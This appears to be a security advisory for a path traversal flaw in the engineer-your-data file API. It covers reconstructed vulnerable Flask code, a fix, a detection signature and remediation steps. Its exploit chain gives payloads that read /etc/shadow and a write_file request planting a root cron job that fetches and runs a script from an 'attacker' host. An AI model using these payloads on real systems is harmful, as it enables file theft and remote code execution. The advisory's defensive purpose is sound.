CVE-2026-7214: Path Traversal in engineer-your-data File API
engineer-your-data ≤0.1.3 exposes unauthenticated file-system access via unsanitized WORKSPACE_PATH in four server endpoints. Remote attackers can read, write, and enumerate arbitrary host files.
A serious security flaw has been discovered in a data processing tool called engineer-your-data that lets hackers read files they shouldn't be able to access on infected computers. Think of it like a lock on your filing cabinet that can be tricked into opening drawers you didn't intend to unlock.
Here's how it works: The software is supposed to only let users access files in a specific folder on their computer, like a sandboxed play area. But an attacker can manipulate the way they ask for files, using tricks like typing "../../../" to step backwards out of that folder and into sensitive areas of the system. Once outside the intended folder, they can read passwords, steal documents, or grab other confidential information.
The vulnerability is particularly risky because it can be exploited remotely—meaning attackers don't need physical access to your computer. Someone could potentially do this through the internet without you knowing. It's rated as moderately severe (7.3 out of 10 on the severity scale) and someone has already published a working attack method online.
This matters most to organizations using this tool to process sensitive data, especially companies handling customer information or confidential business files. If your workplace uses engineer-your-data, this is a genuine concern. The developers behind the tool haven't responded to warnings about the problem, which makes it even more urgent to address.
What you should do: If your organization uses this software, ask your IT department immediately if you're running version 0.1.3 or earlier and request an upgrade to a patched version. Second, review what sensitive files are stored on systems running this tool—they may be at risk. Third, monitor your accounts for suspicious activity and consider enabling extra security protections like two-factor authentication.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7214 is a path traversal vulnerability in eghuzefa/engineer-your-data, a Python-based data engineering workspace server. Versions up to and including 0.1.3 expose four file-operation endpoints — read_file, write_file, list_files, and file_inf — that construct filesystem paths by joining an attacker-supplied argument directly against a server-side WORKSPACE_PATH base directory. No canonicalization, prefix enforcement, or traversal sequence stripping is applied at any point in the call chain. A remote, unauthenticated attacker can escape the workspace root and read or overwrite arbitrary files accessible to the server process.
Root cause: All four file endpoints pass the caller-controlled path argument directly to os.path.join() without resolving the result against the workspace root, allowing ../ sequences — or an absolute path — to silently override the intended base directory.
Affected Component
File: src/server.py
Package: engineer-your-data ≤ 0.1.3 (PyPI)
Endpoints: read_file, write_file, list_files, file_inf
Transport: HTTP (default Flask dev server, no auth middleware)
CVSS 3.1: 7.3 HIGH — network-reachable, low complexity, no privileges required, no user interaction
Root Cause Analysis
The server registers route handlers that accept a filename or directory path from the request body or query string, then hands it to Python's os.path.join(). The critical property that makes this dangerous: when the second argument to os.path.join() is an absolute path, Python silently discards the first argument entirely. When it is a relative path containing ../ sequences, the join resolves upward through the directory tree. Neither behavior is guarded against here.
# src/server.py (reconstructed from CVE description, class/decorator names inferred)
import os
import flask
from flask import request, jsonify
WORKSPACE_PATH = os.environ.get("WORKSPACE_PATH", "/workspace")
app = flask.Flask(__name__)
# ------------------------------------------------------------------
# BUG: all four handlers share the same vulnerable path construction
# ------------------------------------------------------------------
def _resolve_path(user_supplied: str) -> str:
# BUG: os.path.join() with an absolute user_supplied discards WORKSPACE_PATH
# BUG: relative user_supplied containing "../" escapes the workspace root
# No call to os.path.realpath(), no prefix check, no traversal stripping
return os.path.join(WORKSPACE_PATH, user_supplied) # BUG: unsafe join
@app.route("/read_file", methods=["POST"])
def read_file():
body = request.get_json()
file_path = body.get("path", "") # attacker-controlled
resolved = _resolve_path(file_path) # BUG: no sanitization before this call
with open(resolved, "rb") as fh: # arbitrary file open
data = fh.read()
return jsonify({"content": data.decode("utf-8", errors="replace")})
@app.route("/write_file", methods=["POST"])
def write_file():
body = request.get_json()
file_path = body.get("path", "") # attacker-controlled
content = body.get("content", "")
resolved = _resolve_path(file_path) # BUG: same vulnerable join
with open(resolved, "w") as fh: # arbitrary file write / create
fh.write(content)
return jsonify({"status": "ok"})
@app.route("/list_files", methods=["POST"])
def list_files():
body = request.get_json()
dir_path = body.get("path", "") # attacker-controlled
resolved = _resolve_path(dir_path) # BUG: same vulnerable join
entries = os.listdir(resolved) # arbitrary directory listing
return jsonify({"files": entries})
@app.route("/file_inf", methods=["POST"])
def file_inf():
body = request.get_json()
file_path = body.get("path", "") # attacker-controlled
resolved = _resolve_path(file_path) # BUG: same vulnerable join
stat = os.stat(resolved) # arbitrary file metadata
return jsonify({
"size": stat.st_size,
"mtime": stat.st_mtime,
"mode": oct(stat.st_mode),
})
Python's documented behavior for os.path.join("/workspace", "/etc/passwd") returns "/etc/passwd" — the workspace prefix is entirely discarded. This makes the absolute-path variant of this attack require no ../ sequences at all, bypassing any naïve traversal-sequence filter that doesn't also enforce a resolved-path prefix check.
Exploitation Mechanics
EXPLOIT CHAIN — read_file (read /etc/shadow):
1. Stand up network access to the target server (default: http://target:5000)
No authentication required — Flask dev server exposes routes directly.
2. Issue POST /read_file with absolute path payload:
{"path": "/etc/shadow"}
os.path.join("/workspace", "/etc/shadow") → "/etc/shadow"
open("/etc/shadow", "rb") executes with server process UID.
3. Alternatively, use relative traversal for environments that block
absolute paths with a shallow string check:
{"path": "../../../../etc/shadow"}
os.path.join("/workspace", "../../../../etc/shadow")
→ resolves to "/etc/shadow" after OS path normalization at open().
4. For write_file, drop a cron job or authorized_keys:
POST /write_file
{"path": "/etc/cron.d/pwn", "content": "* * * * * root curl http://attacker/s|sh\n"}
File is created/overwritten with no permission check beyond OS-level access.
5. For list_files, enumerate the host filesystem:
{"path": "/"} → top-level directory listing
{"path": "/root"} → root home directory
6. For file_inf, oracle for sensitive file existence:
{"path": "/etc/kubernetes/admin.conf"}
Non-zero response confirms file exists; ENOENT returns 500.
The following PoC confirms remote exploitation in a single HTTP request:
This is a logic vulnerability rather than a memory corruption bug; the relevant "layout" is the Python call stack and path string construction at the point of failure.
PYTHON CALL STACK AT VULNERABLE POINT:
Flask request dispatch
└─ read_file() [src/server.py]
body = {"path": "/etc/shadow"}
file_path = "/etc/shadow" ← attacker string
│
└─ _resolve_path("/etc/shadow")
os.path.join(
WORKSPACE_PATH, = "/workspace"
"/etc/shadow" ← absolute → base DISCARDED
)
→ returns "/etc/shadow" ← workspace boundary broken
│
└─ open("/etc/shadow", "rb") ← arbitrary file opened
PATH STRING STATES:
WORKSPACE_PATH : "/workspace"
user input : "/etc/shadow" (absolute — kills base)
: "../../../../etc/shadow" (relative — walks past base)
joined (unsafe) : "/etc/shadow" (workspace prefix gone)
joined (safe) : BLOCKED — realpath check would catch both variants
EFFECTIVE SECURITY BOUNDARY: NONE
- No call to os.path.realpath()
- No startswith(WORKSPACE_PATH) enforcement
- No traversal sequence stripping
- No allowlist validation
Patch Analysis
# BEFORE (vulnerable — src/server.py ≤0.1.3):
def _resolve_path(user_supplied: str) -> str:
return os.path.join(WORKSPACE_PATH, user_supplied)
# os.path.join discards base when user_supplied is absolute
# relative traversal sequences escape the workspace root
# AFTER (patched — recommended fix):
def _resolve_path(user_supplied: str) -> str:
# Resolve symlinks and normalize all ".." sequences
resolved = os.path.realpath(
os.path.join(WORKSPACE_PATH, user_supplied)
)
# Enforce that the resolved path is still inside the workspace
workspace_real = os.path.realpath(WORKSPACE_PATH)
if not resolved.startswith(workspace_real + os.sep) \
and resolved != workspace_real:
raise PermissionError(
f"Path traversal detected: {user_supplied!r} escapes workspace"
)
return resolved
The os.path.realpath() call collapses all ../ sequences and resolves symlinks before the prefix check is applied, closing both the relative-traversal and the symlink-escape variants simultaneously. The trailing os.sep in the startswith guard prevents a workspace at /workspace from inadvertently matching a sibling directory named /workspace-other.
Detection and Indicators
Network-level detection should alert on HTTP POST bodies to /read_file, /write_file, /list_files, or /file_inf where the path field contains ../, ..\\, or begins with / and does not share the configured workspace prefix.
SNORT / SURICATA SIGNATURE (conceptual):
alert http any any -> any any (
msg:"CVE-2026-7214 engineer-your-data path traversal attempt";
flow:established,to_server;
http.uri; content:"/read_file";
http.request_body; content:"..";
classtype:web-application-attack;
sid:20267214; rev:1;
)
APPLICATION LOG INDICATORS:
- HTTP 200 responses from /read_file for paths outside workspace
- HTTP 500 responses from file endpoints with OSError tracebacks
(indicates probing of non-existent paths)
- Unexpected files appearing in /tmp, /etc/cron.d, ~/.ssh/
FILESYSTEM INDICATORS:
- New files in /tmp owned by the server process user
- Modification timestamps on /etc/passwd, authorized_keys,
or /etc/cron.d/* matching server request timestamps
Remediation
Immediate: If engineer-your-data is deployed and exposed on a network interface, restrict access to localhost only via firewall or bind address until a patched release is available. The upstream project had not responded to the disclosure issue at time of publication.
Short-term (operator workaround): Place a reverse proxy (nginx, Caddy) in front of the server with a request body inspection rule that rejects any path value containing ../ or beginning with / outside the known workspace prefix. This is defense-in-depth only — the application-level fix is mandatory.
Long-term (developer fix): Apply the os.path.realpath() + startswith(workspace_real + os.sep) pattern shown in the Patch Analysis section to all four endpoints. Add a unit test suite that asserts traversal payloads raise PermissionError before a release cut is made. Consider adding HTTP authentication middleware; the server currently has no access control layer whatsoever, meaning path traversal is only one of several exposure categories.